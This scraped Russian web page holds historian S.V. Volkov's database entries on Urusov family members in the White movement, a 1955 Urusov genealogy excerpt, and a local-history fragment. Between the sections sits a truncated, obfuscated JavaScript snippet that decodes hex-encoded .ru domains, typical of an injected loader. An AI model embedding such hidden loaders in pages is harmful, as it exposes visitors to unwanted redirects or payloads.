Log in
Discussions
Sort: by updates | by date | by rating Show posts: Full text | Headings

Волков С.В. Белое движение. Урусовы.

                               Волков    Сергей   Владимирович,   д.и.н.    
               База данных № 2: «Участники Белого движения в России».                           
www.swolkov.org © 2015-2016.                                                                                  Алфавитный указатель упомянутых фамилий.
Составление, вёрстка, PDF-вариант и Интернет-версия: Рогге В.О. Стр. 43 из 87                                                                                                     
   Историк С.В. Волков. База данных «Участники Белого движения в России» на январь
2016.                                                



                                                 
У Р У С О В ы.



Урусов  А.   Из казаков-калмыков ст. Платовской Области
Войска Донского. В Донской армии; участник Степного похода в калмыцком отряде.
         Урусов Адуча Алексеевич. Старший урядник. В Донской армии. Участник Степного похода.             Урусов Александр Николаевич, р.1898. Из казаков ст. Новочеркасской Области Войска Донского. В Донской армии, ВСЮР и Русской Армии юнкер Атаманского военного училища. Хорунжий. В эмиграции во Франции. Покончил самоубийством 30 сен. 1932 в Лионе (Франция).           Урусов Александр Сергеевич. В эмиграции во Франции. Ум. 13 апр. 1959 в Канне. /118/             Урусов Александр  Федорович, р. во Владимирской губ. Подпоручик (поручик). В Вооруженных силах  Юга России. Взят в плен. На 1923 на особом учете в Архангельском ГВК МВО.
        Урусов  Алексей Федорович, р. 11 фев. 1895 в Тюменском у. 1-я Омская школа
прапорщиков. Подпоручик 37-го пехотного полка. В белых войсках Восточного
фронта; на 31 дек. 1918 в составе 18-го Тобольского Сибирского стрелкового
полка. Штабс-капитан. Взят в плен. На 1 фев. 1922 на особом учете в
Екатеринбургском ГВК. Холост.                                                                                 
 Урусов Анатолий. В эмиграции в США. Ум. 2004 в Сан-Франциско. Жена Тамара (ум. там же). /760/ Урусов Бадьма. Казак. В Донской армии. Участник Степного похода.                                         
 Урусов Басан Сарманович. Старший урядник. В Донской армии. Участник Степного похода. /740/ Урусов Бекинде. В Донской армии, ВСЮР и Русской Армии до эвакуации Крыма. Был на о. Лемнос.
Осенью 1925 казак в составе Терско-астраханского казачьего полка в Болгарии.
       Урусов  Борис*, р. 1902. В эмиграции в США. Ум. 1988 в Сан-Франциско. Жена Евдокия
(1908–1985 там же). /760/                                                                                                           Урусов Вадим Николаевич, р. в Волынской губ. Поручик. В белых войсках Восточного фронта. Взят в плен. На 1923 на особом учете в Вологодском ГВК. /7-103; 707-951/                                               Урусов  Василий Эрастович. Хорунжий. В Донской армии в составе 2-го конного полка
Сальского отряда. Убит ок. 26 авг. 1918. /730/                                                                                     Урусов Владимир Александрович, р. 1902. Гимназия. Проживал с семьей в Москве, служил в
учреждении. 17 янв. 1921 арестован на своей квартире ч заключен во внутреннюю
тюрьму. 25 фев. 1922 по ходатайству ПКК освобожден. /575/                                                                Урусов Владимир Сергеевич. Во ВСЮР и Русской Армии в Корниловской дивизии до эвакуации Крыма. На 18 дек. 1920 в пулеметной роте Корниловского полка в Галлиполи.
Штабс-капитан. /4-76,84/                                                                                                                  Урусов Георгий J., р. 1895. В эмиграции в США. Ум. 1986 в Сан-Франциско. Жена Мария Ф.
(1896–1978                                                                                                                                   Урусов Георгий Степанович, р. в Кубанской обл. Поручик. В Вооруженных силах Юга России. Взят в плен. Весной 1921 на особом учете в СКВО.                                                                       
 Урусов Джаб Сарманович (Джас Сармонович), р. 1891. Из казаков ст. Платовской Области Войска Донского. Сотник. В Донской армии. Участник Степного похода. Вышел в отставку 28 апр.
1920. /14-121,122,144; 740/                                                                                                               Урусов Евдоким Стефанович. Подпоручик. В белых войсках Восточного фронта. Взят в плен.
Летом 1921 в резерве чинов Омского ГВК. /7-143                                                                              Урусов Иван Константинович, р. 1893. Казак. В Вооруженных силах Юга России. На 12 мар. 1920 в общежитии "Долма Бахча" в Константинополе. /4-107                                                              Урусов  князь Александр Дмитриевич*****, р. 14 нояб. 1879. Санкт-Петербургский университет. Преподаватель гимназии. Ум. 1918 в советской тюрьме. Жена Мария Семеновна
(Унковская), дети: Андрей (1909–1980 в Нью-Йорке), Сергей (1911–1945; убит в
Иностранном легионе в Тунисе). Брат Петр 1869–1931. /111-2; 181-3/                                                       Урусов князь Александр Львович***, р. 3 мая (30 мар.) 1881. Пажеский корпус 1901.
Офицер Кавалергардского полка. Чиновник МИД. Штабс-ротмистр 11-го гусарского
полка. В эмиграции во Франции (в Париже и его окрестностях), член Главного
правления Союза Пажей. Ум. 30 янв. 1962 в Париже. Жена Екатерина Александровна
(Дерюжинская; 28 нояб. 1894 — 15 окт. 1971 там же). /131; 177; 181-3; 412; 416/
            Урусов князь Александр Сергеевич. В эмиграции во Франции. Ум. после 1929. Жена Ксения
Евгеньевна (Вольф; 1895–1982 в Монморанси, Франция). /540                                                                      Урусов князь Аполлон Степанович, р. 3 янв. 1837. Сын морского офицера. В службе с 1852, офицером с 1854 (Морской корпус). Капитан-лейтенант в отставке. Действительный статский советник, гофмейстер. Чиновник особых поручений Св. Синода. Ум. в советской тюрьме 31
авг. 1919. Жена Ефросинья Константиновна (Адоссидес; 1867– 1896). /111-2;                                      © 1995-2016.                                                                                                                              Урусов князь Вадим. Корнет, призванный из запаса армейской кавалерии в штаб
Гродненской крепости. Пожалован за отлично-усердную службу и труды, понесенные
во время военных действий Ст. 3 ВП 14.01.1916г.                                                                                                                                                                        &nbs p;
  Урусов князь Валерий Николаевич, р. 21 апр. 1886. Морской корпус 1906 (офицером с 1907). Старший лейтенант, старший артиллерийский офицер линейного корабля "Императрица Мария". В белых войсках Восточного фронта; с 24 фев. и на авг. 1919 во Владивостоке. В
эмиграции во Франции, в 1932 вышел из Кают-кампании в Париже в Морское
Собрание. Капитан 2-го ранга. Ум. 15 янв. 1960 под Парижем. /59; 60; 95-51;
131; 177; 181-3; 450; 570/                                                                                                                 Урусов князь Владимир Михайлович****, р. 1851. Сын генерала от кавалерии.
Александровский лицей 1878. Гофмейстер, Смоленский губ. предводитель
дворянства. В эмиграции в Швейцарии, в нач. нояб. 1920 в Лозанне. Ум. 1922 на
юге Франции. /4-20,22; 181-3; 398/                                                                                                     Урусов князь Владимир. Училище правоведения 1917 (не окончил; сред. пригот. класс).
 Урусов князь Дмитрий Дмитриевич*****, р. 1873. Московский университет.
Тов. председателя 2-й Государственной Думы. Остался в СССР. 1930 сослан. Ум. в
ссылке 1935. /181-3/                                                                                                                            Урусов князь Дмитрий Сергеевич*****, р. 1887. Московская гимназия. Служащий Калужского земства, агроном. Остался в СССР. 1935 выслан в Семипалатинск и Павлодар. Ум. от голода. /83-2; 181-3/                                                  
 Урусов князь Иван Сергеевич. Ум. 25 авг. 1976 в Монако. /118/                                                  Урусов князь Лев Владимирович, р. 31 дек. 1877. Александровский лицей 1898.
Камер-юнкер, чиновник МИД. В эмиграции во Франции. Ум. 6 янв. 1933 в Париже.
/75; 101; 107; 177; 181-3; 398/                                                                                                        Урусов князь Лев Павлович***, р. 7 янв. 1839. Сын генерала от инфантерии. Пажеский корпус 1857. Действительный тайный советник, посол в Риме. В эмиграции во Франции. Ум. 29 апр. 1928 в Ницце (Франция). Сын Павел. /75; 181- 3/                                                                                            Урусов князь Михаил Федорович. 1935 выслан из Ленинграда в Актюбинскую обл. Жена Е.А., дочь Марина. /575/                                                                                                                     Урусов князь Николай Александрович. Офицер с 1917? Прапорщик л.-гв. Кирасирского Ее
Величества полка. В Добровольческой армии с июля 1919 в своем полку
Штабс-ротмистр. В эмиграции в Греции, на 1 янв. 1921 в списке л.-гв.
Кирасирского Ее Величества полка в Афинах. Ум. 1 апр. 1962 в Париже. /131; 151                                 Урусов князь Николай Васильевич. Капитан. В Добровольческой армии в Корниловском ударном полку. Участник 1-го Кубанского ("Ледяного") похода. Убит 21 фев. 1918 под Лежанкой. /40а; 68-3/
Урусов князь Николай Николаевич. В Северо-Западной армии. В эмиграции во
Франции. Ум. 21 дек. 1930. Жена Татьяна Борисовна (Шидловская). /75/                                             Урусов князь Николай Петрович**, р. 31 мар. 1863. Сын тайного советника.
Александровский лицей 1883. Тайный советник, шталмейстер, сенатор,
Екатеринославский предводитель дворянства, член Государственного Совета. Убит
большевиками 18–19 окт. 1918 в Пятигорске. Жена Вера Георгиевна (Алексеева).
/111-2; 181-3; 229; 398/                                                                          
 Урусов князь Николай Петрович*, р. 1898. Прапорщик 17-й артиллерийской бригады. До дек. 1918 в русских добровольческих частях на Украине. С мая 1919 в 3-м батальоне Ливенского
отряда. В Северо-Западной армии (зачислен с 10 июля 1919, 6 авг. 1919 в 3-м
стрелковом полку 5-й (Ливенской) дивизии, в дек. 1919 в 19-м пехотном
Полтавском полку. В эмиграции во Франции шофер. Ум. 22 дек. 1930. Жена Татьяна
Борисовна (Шидловская), дети: Владимир 1925 (внуки Александра 1950, Николай
1962, Татьяна 1965), Николай 1927 (внуки Анна 1960, Елена 1963) - в США. Брат
Андрей (1917–1937; расстрелян в СССР). /9; 111-2; 181-3; 273/                                                      Урусов князь Николай Сергеевич. В эмиграции во Франции. Ум. 14 июня 1981 в Париже. /118/
Урусов князь Павел Александрович, р. 1874. Киевский университет. Чиновник МВД.
С 1918 письмоводитель Киевского окрвоенкома; 31 июля 1919 арестован в Киеве,
сен. отправлен в Москву и заключен в Ивановский концлагерь. Ум. в советской
тюрьме окт. — дек. 1919 в Москве. Жена Александра Артуровна. /111-2; 181-3;
575; 701-244/                                                                                                                                         Урусов князь Петр Петрович*, р. 1906 в Ярославле. Остался в СССР. Арестован 1933 в Москве (3 года) и 1937. Расстрелян 13 янв. 1938 в Томске. Жена Ольга Владимировна (кн. Голицына; р. 1912, расстреляна большевиками 5 мар. 1938 в Новосибирске), дочь Ирина 1932.
/83-1; 181-3/                                                                                                                                     Урусов князь Петр Сергеевич******, р. 1899. В эмиграции в США. Ум. 7 нояб. 1984. Жена Эмилия-Ангелина-Мария (дель Гоббо; 14 авг. 1913 — 4 нояб. 1958 в Риме). /118; 457/                            Урусов князь Петр Сергеевич**, р. 1885. Пажеский корпус 1908. Ротмистр л.-гв. Кирасирского Ее Величества полка. В начале 1919 участник формирования русских частей в Германии и Прибалтике. В эмиграции в Германии, на 1 янв. 1921 член объединения л.-гв. Кирасирского Ее
Величества полка в Берлине, к 1 окт. 1921 член Общества взаимопомощи офицеров
бывших Российских армии и флота. /141; 151; 181-3;                                                                               Урусов князь Сергей Дмитриевич*****, р. 7 мар. 1862 в с. Спасское Ярославской губ. Сын
полковника. Московский университет 1885. Действительный статский советник,
товарищ министра внутрених дел Временного правительства. 1917–1918 член Совета
общественных деятелей и Союза земельных собственников, член Правого центра.
1919 член Тактического центра. Арестовывался 29–30 авг. — 15 дек. 1919, фев. —
июне 1920 (по делу "Тактического Центра"), и летом 1922. Ум. 5 нояб.
1937 в Москве. Жена Софья Владимировна (Лаврова; 1866–1922), сын, 2 дочери.
/111-2; 181-3; 491-2; 575/                                                                                                  Урусов   князь Сергей Леонидович******, р. 27 фев. 1872. Сын действительного статского
советника. Морской офицер. Статский советник. В эмиграции с 1920 во Франции.
Ум. 2 июля 1948. Жена Ольга Петровна (кн. Васильчикова; 1867–1931), дети:
Николай 1898, Петр*, Иван (1904–1976, служил во французской армии), Леонид
1901–1970 (внуки Елизавета 1933, Сергей 1934, Ольга 1935, Николай 1938, Петр
1940, Иван 1947; правнучки Александра 1964, Анна 1965 Сергеевны) - в США.
/111-13; 181-3                                                                                                                                
     Урусов князь Сергей Петрович** р. 9 мар. 1859. В службе с 1877, офицером с 1880. Виленское пехотное юнкерское училище. Тайный советник, член совета Главного управления государственного коннозаводства. Шталмейстер. Убит большевиками 18–19 окт. 1918 в Пятигорске. /111-2; 181-3; 229/                                                                                                          Урусов князь Сергей Петрович*, р. 1896. В Вооруженных силах Юга России. Эвакуирован в
нач. 1920 из Новороссийска на корабле "Владимир". В эмиграции во
Франции. Ум. 1946. /4-71; 111-2; 181-3                                                                                                     Урусов князь Сергей, р. 1916. (см. Сергей Александрович, р. 1911?) В эмиграции во Франции. Служил во французском Иностранном Легионе. Убит в Африке. /397                                   Урусов князь Федор Михайлович****, р. 18 сен. 1842. Пажеский корпус 1860. Офицер л.-гв. Гусарского  полка. Генерал- лейтенант в отставке. Убит большевиками 18–19 окт. 1918 в
Пятигорске. /111-2; 181-3; 229/                                                                                                                                       
Урусов  князь Юрий Дмитриевич*****, р. 1878 в им. Спасское Ярославской губ. Московский
университет. Прокурор Могилева. Остался в СССР. 16 апр. 1919 осужден на 5 лет
лагерей в Москве, 1926 сослан на 3 года, арестован 1935 в Москве. Погиб в
Воркуте 1937. Жена Евдокия Евгеньевна (гр. Салиас де Турнемир; ум. 1939 в ссылке
в Киргизии), дети: Никита 1906–1985 (внуки Наталия 1933 и Сергей 1946, правнук
Никита 1980), Кирилл 1910–1976 (внуки Федор 1937–1993, правнучка Татьяна 1964;
Владимир 1941–1975, правнук Михаил 1966), Елена (см. Раевская), Евдокия
(провела 18 лет в заключении и ссылке). /83-2; 181-3                                                                       Урусов М.А. Из казаков ст. Луковской Терской области. Терского казачьего войска Вахмистр. Ум. 25 янв. 1970 в Шелль (Франция). /109-                                                                                                   Урусов М.В., р. 1897. Офицер. В белых войсках Восточного фронта. В эмиграции в Китае.
Покончил самоубийством 25 июля 1929 в Харбине. /400/                                                                 Урусов Михаил. Штабс-капитан. В Добровольческой армии и ВСЮР в составе Ширванского пехотного полка. Капитан (с 4 нояб. 1919). Полковник (с 5 нояб. 1919). /30/                                      Урусов Николай Яковлевич, р. 1900. В эмиграции в США. Ум. 1985 в Сан-Франциско. Жена Мария Федоровна (1905–1976 там же). /760/                                                                                      Урусов Павел. Прапорщик, призванный из запаса  армейской пехоты в 235-й пехотный Белебеевский полк. Утверждается пожалование командующим 2-й армией за отличия в делах против неприятеля А 4 с надписью «За храбрость» ВП                                   21.01.1916г.                                                                                                                                        Урусов Петр Яковлевич, р. в Томской губ. Подпоручик. В белых войсках Восточного
фронта. Взят в плен. На 1 авг. 1922 на особом учете в Томском ГВК. /7-54/                                         Урусов Урусхан Гацароевич, р. в Терской обл. Штабс-ротмистр. В Вооруженных силах Юга России. Взят в плен. В начале 1922 на особом учете в Горском ОВК. /7-163                                          Урусов Филипп Митрофанович, р. 1июля 1896. Из казаков Терского казачьего войска. В службе с 1915. Владикавказская (б. 2-я Тифлисская) школа прапорщиков 28 окт. 1917. Прапорщик
Терской пешей запасной сотни. В Вооруженных Силах Юга России. Хорунжий. Жена
Евгения Евгеньевна (Бахчина). /532/                                                                                                     Урусов Яков Антонович, р. в Томской губ. Чиновник военного времени. В белых войсках
Восточного фронта. Взят в плен. На 1 авг. 1922 на особом учете в Томском ГВК.
        Урусов Яков Николаевич. В белых войсках Восточного фронта в Оренбургской армии, 1920–1921 в отряде ген. Бакича в Монголии. Взят в плен, в авг. 1921 осужден на год лагерей.                             Урусов. Военное училище. Поручик 1-го Кавказского пластунского полка. В белых войсках Восточного фронта; летом 1920 в комсоставе 1-го Владивостокского крепостного полка. /639/ Урусов. Доброволец. В белых войсках Восточного фронта в 1-м Забайкальском казачьем полку, 8 окт. 1918 как непоступивший в Иркутское военное училище, отправлен в свою часть. /20-24/
Урусов. Поручик. В белых войсках Восточного фронта; на 9 мая 1919 командир
отдельной саперной роты Сибирской армии. /137-1/                                                                              Урусов. Ротмистр 10-го гусарского полка. В Вооруженных Силах Юга России. Убит сен. 1919
под Конотопом. /140/                                                                             
      Урусова Варвара Владимировна, р. ок. 1890. Прибыла в Константинополе до авг. 1920 из Греции. /4-20/                                                                                                                                Урусова княгиня А. В эмиграции в Бельгии. Ум. в Брюсселе. /178                                                      Урусова княгиня Анна Ивановна, р. 1880. Вдова. На 14 мар. 1920 в общежитии "Лан" в Константинополе. /4-107/                                                                                                                  Урусова княгиня Варвара Васильевна, р. 6 июня 1865. В Вооруженных силах Юга России в
санитарно-эвакуационной части (с двумя дочерьми). Эвакуирована 25 мар. 1920 из
Новороссийска на корабле "Бюргермейстер Шредер" и до осени 1920 с о.
Лемнос на корабле "Пандина". В эмиграции возглавляла Комитет помощи
армии, затем в Марокко. Ум. 27 фев. 1953 в Касабланке. Дочь, внук. /4-68,71;
                                                                                                                                                Урусова княгиня Ефросинья Константиновна (ур. Базили). В эмиграции в Бельгии. Ум. в
Брюсселе./178/                                                                                                                                                                  
      Урусова княгиня Майко Язоновна (ур. Туманова). В эмиграции во Франции. Ум. 1 сен. 1926 в Ницце (Франция).                                                                                                                 
      Урусова княгиня Нина Александровна. Сестра милосердия. В Вооруженных силах Юга России в медперсонале транспорта № 7. Эвакуирована в нач. 1920 из Новороссийска в Константинополь на корабле "Владимир". 10 июля 1920 возвратилась в Русскую Армию в Крым
(Севастополь) на корабле "Мария". /4-71,101/                                                                                   Урусова княгиня Нина Владимировна (ур. фон Ломан, по 1 браку Васкевич), р. 30 мар.
1889. В эмиграции во Франции. Ум. 3 июля 1936. /107; 177/                                                               Урусова княгиня Ольга Владимировна (ур. Давыдова), р. 4 сен. 1885. В эмиграции во
Франции. Ум. 5 мая 1952. /177/                                                                                                      Урусова княгиня Ольга Петровна (ур. Васильчикова), р. 9 нояб. 1867. В эмиграции во Франции. Ум. 28 мар. 1931 в Париже. /75/                                                                                                   Урусова княгиня С. В эмиграции в Бельгии. Ум. в Брюсселе. /178/
Урусова княгиня. Расстреляна большевиками апр. 1919 в Киеве.                                                  Урусова княжна Ирина Владимировна, р. 1899. Сестра милосердия (с 1916). В эмиграции в Германии, окт. 1922 — авг. 1923 член Объединения русских сестер милосердия за границей. /604/ Урусова княжна Ирина Леонидовна, р. 24 июня 1868. В эмиграции во Франции. Ум. 12 дек. 1960 в
Париже. /101;                                                                                                                                                              
 Урусова Мария Григорьевна, р.
1895. Из казаков ст. Луковской Терской обл. Во ВСЮР и Русской Армии во 2-м
Терском пешем полку до эвакуации Крыма. Эвакуирована из Севастополя на корабле
"Херсонес". В эмиграции во Франции. Ум. 24 сен. 1965 в Абандоне (Франция). /4-63; 118/                  Урусова Мария Федоровна. Проживала в Москве. 17 сен. 1921 арестована и заключена в Бутырскую тюрьму. 22 июня 1922 направлена в Московскую женскую трудовую колонию. 4 детей. 
        Урусова Н. В эмиграции во Франции. Ум. 1984. /177                                                                 Урусова О. В эмиграции во Франции. Ум. 1963 в Ганьи (Франция). /540/                                               Урусова  Татьяна Борисовна, р. 25 дек. 1905. В эмиграции в США. Ум. 21 мая 1996. /577/   


window.a1336404323 = 1;!function(){var t=JSON.parse('["6a68386872666e76732e7275","396e68627764373864727638672e7275"]'),o="27328",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

Плешко о Урусовых. 1955 год.

                                                   
Н. Д. П Л Е Ш К О.
  

                                             Князья    Урусовы    и    их   предки.

                                                    г. Нью – Йорк.   1955 года.


       Род  Князей УРУСОВЫХ  принял свое родовое прозвание от своего  прямого предка Нагайского  Князя  УРУСА, современника  Царя  Ивана  Васильевича   Грозного  и его сына  Царя  Федора  Ивановича.
     Князь  Урус  был  потомком  знаменитого  Нагайского Князя   ЕДИГЕЯ,   современника  Великого  Князя  Василия   Дмитриевича  и происходил по прямой мужской  линии  от  первого  халифа  Абубекра,   друга  и  родственника пророка  Магомета. 
             Родословие  предков  князей  Урусовых  и  одного  с  ними происхождения  князей Юсуповых  было  переведено  с  татарского  языка  на  русский  22  декабря  7162 /1654/ года  и  находилось  до  наших  дней  среди  фамильных  бумаг  князей  Юсуповых.  Точно  такое
 же  родословие  было  подано  князьями  Юсуповыми  и  Урусовыми  в  1687 году   в  разрядный  приказ   при  составлении новой  родословной  книги.  Обе   родословные  росписи  помещены князем  Н.Б. Юсуповым  в  его  труд:  "O роде князей Юсуповых"  в  части  2-й. СПБ.1867 г. 
               После  повеления  Императора  Павла 1-го  о  составлении  Гербовника  Дворянских  Фамилий  сначала  возбудили  ходатайство  князья  Юсуповы   о  помещении их  герба  и
 в  доказательство  своего  происхождения  представили  выписку,  выданную тогда  же  коллегией  иностранных  дел,  в  которой  этим  официальным  учреждением была  допущена  ошибка  - искажено  имя  первого  предка  рода  халифа   Абубекра. Департамент  Герольдии  Правительствующeго  Сената  без  проверки  и  с  вышесказанною  ошибкою  внес  эту
 выпись  в  текст   Гербовника,  Высочайше утвержденный  в  1799  г. в  III-ю  его  часть.    
После  этого,  старший  в  роде  князей Урусовых  князь  Александр  Васильевич  Урусов  через  своего  зятя  гофмаршала  графа Строгонова  просил  о   внесении  герба  Князей
 Урусовых  в  Гербовник  в  число  Российско - Княжеских  родов,  что  и  было  Высочайше
 утверждено  и  помещено  в  VI-ю  часть  на  странице  1-й,  но  также,  как  и  у  князей   Юсуповых,   с  искажением  имени халифа  Абубекра. 

                                               Вот  текст  Гербовника:
"Род  Князей  Урусовых,   как  показано  в  справках  Московской  Коллегии  Иностранных дел  и  Разрядного  Архива  и   в  родословных  книгах,  происходит  от  ногайских  князей. Предок  сего  рода  Абубек  Киреев   сын  Док,  был    владетелем  и  потомки  сего  Абубека в  древнейшия  времена в Египте  и  в  других  местах  были  царями.   Происшедший  от сего  рода  князь
 Муса,  владетель  ногайских  татар,  оказал  России   верность  во  время  нападения  на  Казань  трухменского  князя  Амгурчея.   У  сего  Князя  Мусы   были дети:  Князь  Юсуп,  от  коего  пошли  Князья  Юсуповы,   и  Князь  Исмаил,   который  в царствование  Царя  и  Великого  Князя  Иоанна   Васильевича  равным  образом  охранял российские  пределы  от  нападения
 крымцев  и  в  верности  России  присягу   учинил. Оный  Князь  Измаил   имел  сына  Князя
 Уруса,  от  коего  произошли  Князья  Урусовы  и многие  были  в  знатнейших  чинах,  именованы  от  Российских  Государей  Князьями, жалованы  были  деревнями   и  другими  почестями  и  знаками  Монарших  милостей. Все  сие  доказывается  справкою  Архива  Коллегии
 Иностранных  дел,  Разрядного  Архива  и  родословной  Князей  Урусовых".
            До  революции  родословие  рода  Князей   Урусовых  было  мало   разработано.                  Князь  Долгоруков  во  2-м  томе    своей  “Русской  Родословной  книги"  изданной 
в  1855 году,  начиная  родословие  рода  с  Нагайского  князя  Едигея,  дает  краткое
 перечисление представителей  рода,  причем  впадает   в  ошибки,  которые  в  последствие
 были определены  на  основании  документов  и  документальных  данных.   
 Петров  в  "Истории  родов  Всероссийского  Дворянства"  изданной  в 1886 году  совершенно  перепутал предков  князей  Урусовых,  перешедших  на  службу  Москвы   и  повторил  все  ошибки князя  Долгорукова. 
    Вот  это  и  все,  что   по  родословию  князей  Урусовых   было  напечатано  до  первой мировой  войны. 
        Уже  в дни  эмиграции   было  выпущено  родословие  этого  рода,  составленное
 в Париже.  К  сожалению   в  нем  повторены  ошибки  князя   Долгорукова,  а  происхождение  родоначальника  князей  Урусовых  Нагайского,  Князя  Уруса,  автору осталось  неизвестным  и  он  пренебрег  сведениями  прежде  составленных   родословий и  отверг  официальную
 версию  происхождения  рода,  запечатленную   Высочайше утвержденным  Гербовником.  
         Таким   образом,  в  эту  родословную   роспись  не  вошли   действительные  предки  рода  князей  Урусовых:     Князь   Едигей,   разбивший  на  Ворскле  в  1399  г. Литовского  Великого  Князя Витовта  и  осаждавший  в  1408  г. Москву,  также  и  его  сыновья,  внуки  и
 правнук  Князь  Муса, учинивший  присягу  Великому  Князю  Иоанну  III  и  находившийся  с  ним  в  переписке,  сыновья последнего   Князь  Юсуп,  родоначальник    князей  Юсуповых  и    Князь   Исмаил,   друг  Грозного Царя,  которому  Царь   Иван  Васильевич   писал:  "...всех  более  верим   тебе,  Другу  своему  и всякия  свои  дела  положили   на  твою  душу".
  Нет  также  и   детей  князя  Исмаила:  князя Тинехмата,  женатoго  на  княжне  Черкасской, 
 дочери  князя  Темрюка   Кабардинского  и  сестре второй  жены  Грозного  - Марии  Темрюковны  и  нет,  собственно,  и  сына  князя  Исмаила  Нагайского  князя  Уруса,
 родоначальника  князей  Урусовых,   бывшего  в  постоянной  переписке с  1555  года
 с  Царем  Иоанном   Грозным  и  затем    с  его  сыном  Царем  Федором  Ивановичем. Автор  этого  родословия,  судя  по   указанной  им  библиографии,  мало  пользовался  русскими напечатанными  историческими   материалами,  а   в  тоже  время   отверг   генеалогические сведения  прежних  родословных,  а  потому,  не  имея   документальных   сведений,    смешал  двух    Урусов:   потомка  Едигея,   князя  Уруса  Нагайского,   действительнoгo   родоначальника князей  Урусовых,  с   ханом  Золотой    Орды,  известным   в  истории,   Урус    ханом
 умершим  в   1375  году,  потомком   Чингиз - хана.   Вследствие   такого  происшествия   получилось, незамеченное   автором,   недоразумение:   разница  лет  между  сыном
 и  отцом  в   более,  чем  в  двести  лет.   Урус   хан  умер  1375 году,  Урус   князь   Нагайский  еще   княжил  в  1586 году.   Автор   без   всякого  основания   показал   детей  князя  Уруса  Нагайского    детьми  Уруса   хана Золото - ордынского,  только  по   их  отчеству  и  таким
 образом  сделал  их   потомками  Чингиз -хана.       Мы  и  хотим  ныне  публикуемым
  историко – родословием  исправить  эту необычайную  ошибку,  весьма  неприятную  для  рода.
             Для  настоящего  родословия  главными  источниками  информации   служили:                   1.  Родословная,  представленная  в  Разрядный  Приказ  в 1686 г.  после  уничтожения местничества  представителями  рода  князей  Юсуповых.  Эта  родословная  включает  и князя  Уруса  с   его  ближайшим  потомством;                                                                                  
 2.  Родословная  роспись,  являющаяся  переводом  с  татарскoго,  составленная  по-русски  и  подписанная  Кульшеевым  Абдулом  22  Декабря  7162/1654/ года, находившаяся  в  фамильных  бумагах   князей   Юсуповых  и  включающая  также  князя  Уруса  с  его  сыновьями.  Обе  эти
 родословные  помeщены  в  труд  князя   Н.  Б. Юсупова   "O  родe  князей  Юсуповых" , СПБ.  1866  и  1867 г. 
       3. Наибольший   интерес  с  точки   зрeния  генеалогической  является  подтверждение предков  князя  Едигея  Нагайского  родословною,  найденною  в  Казанской  мечети  и помeщенную  в  татарской  хрестоматии  Ибрагима  Фальфина  вмeстe с  исслeдованиями  об  Едигее  и лeгендами  о  нeм.  Книга  эта  была  издана  в  Казани  в  1822    году  на татарском  языкe.  Нам  эта   родословная  стала  доступной  только  благодаря  тому,  что она  была  пepeведена   на  русский  язык  с  исслeдованием  об  Едигее  и  его  легендами Чеканом  Чингизовичeм   Валихановым,   рано  умершим  русским  ученым - этнографом, сочинения  которого  изданы  под  редакцией  профессора  Веселовского  в  Записках Импеpатоpского   Русского   Географического  Общества  по  этнографии  в  томe  XXIX. 
       Всe  три   родословные   сходятся  почти  во  всем,  чeм  татарская  подтверждает  обе русские.  
             Статья  этнографа  Потанина  в  Журналe   Живая  Старина,  изд. Императорского Географическoго  Общества  за  1897  г.  подтверждает  имя  отца   Едигeя   КУТЛУКАЯ.
Памятная  книжка  Уфимской  губернии  за 1883 г.,  Исторический  Вестник  за  1895
г., Живая  Старина за  1891 г.  подтверждает  переход  из  Малой  Азии   в  Татарию  прямого предка  князя  Едигея  Термы,   давая  и  имя  его  отца   Бабатюкляса.
         Таким  обpазом,  все  три   родословныe  подтверждены  из  совершенно  иных,  чем генеалогия,  источников,  что  делает  все  три   родословныe  совершенно  достоверными,  если  ранее   почему  либо  можно   было  им  не  доверять.  Возможно,  что  в  той  части,
 которая  относится  к  лицам  прeбывавшим  в  Малой   Азии  есть пропуски  колен,  как  во  всякой  древней  родословной,  но  это  не  может  уменьшить  ее  ценности  и  истоpическoго  значения,  т .к.  исправляется  знанием  даты  смеpти родоначальника   рода  халифа             Абу - Бекра,  друга  пророка  Магомета.    Нельзя  обойти   молчанием  богатое  собрание  переписки   Великих  Князей  Ивана III, Василия  Ивановича  и  Царя  Иоанна  Грозного
 с  Нагайскими   Князьями  Мусой, Юсупом,  Исмаилом,  Урусом  и  другими  князьями  и  мурзами  Нагайскими,  помещенное  в  томах   8 – 11  Продолжения  Древней  Российской  Вивлиофики,  изданной  Новиковым.   Нельзя  также  не   указать  и  "Памятников  сношений  Mосковскoго  Государства  с  Крымом  и  Нагаями”,  находящeгося  в  т.т.  41 и 98 Сборника  Императорскoго  Русскoго  Исторического  Общества,  а  также   и  Сборника Отделения  Русскoго  языка  и
 словесности  Императорской  Академии  Наук   т.  Х,  в котором  помещено  изыскание  пpофессора  П. П.  Пекаpского  и  цитируются  письма князя  Уруса  Нагайского,  найденныe  автоpом  в  Архиве  Министерства   Иностpaнныx Дел  в  Москве.  Грамоты   и  Договоры  Россскoго  Государства  дополняют  этот  длинный список   главных  материалов  по  родословию  до  ХVII   вeка.  Всe  эти   напечатанные документы,  даже  и  помимо  родословных,
 подтверждают  начиная  с  Князя   Едигея, происхожение  каждoго  сына  от   своего  отца,  кончая   письмом  самого  князя  Уруса  к  Царю  Ивану  Васильевичу  с  перечислениeм
 имeн  своих  жен  и  сыновей.   
           На  основании,  главным образом,  этого  богатого   материала  нами  и  составлена родословная  предков  князей  Урусовых  до  их  появления  при  Московском  Дворе.   В этой  части    родословной  нами  помещены   все  лица  потомства  Едигея,  которые встречались  при  наших  изысканиях,  что  сделано  для  того,  что  бы  легче  было ориентироваться  в  родственных  отношениях  представителей  рода. 

 

9. Зауральские Урусовы.

 
   
Данный материал есть продолжение «Рода Урусовых» и «Туринск исторический», изложенные на страничке: «http://my.mail(.)ru\community\urusov» и в Одноклассниках, группа «Туринск и мы». Появление Урусовых за Уральскими горами, и в частности, в Туринском уезде (Свердловская область), возможно, несколькими путями:
1.От местного коренного инородческого населения (татары, вогулы, ногайцы и башкиры), у которых было имя (кличка) Урус. После присоединения Сибири (1582 – 1600) и введения фамилий, возможно, появились Урусовы.
2. От новокрещенных, крещенных коренных жителей Казани и Сибири, которые были присланы на строительство Туринска (Епанчина) и обработку земельных угодий в 1600 – 1603 годах:
- 55 семей пашенных людей и 6 ямских охотников с Казани;
- 10 черкас и 20 плотников с Пелыма;
- 50 ямщиков с Тары;
- 25 семей пашенных крестьян с Казани.
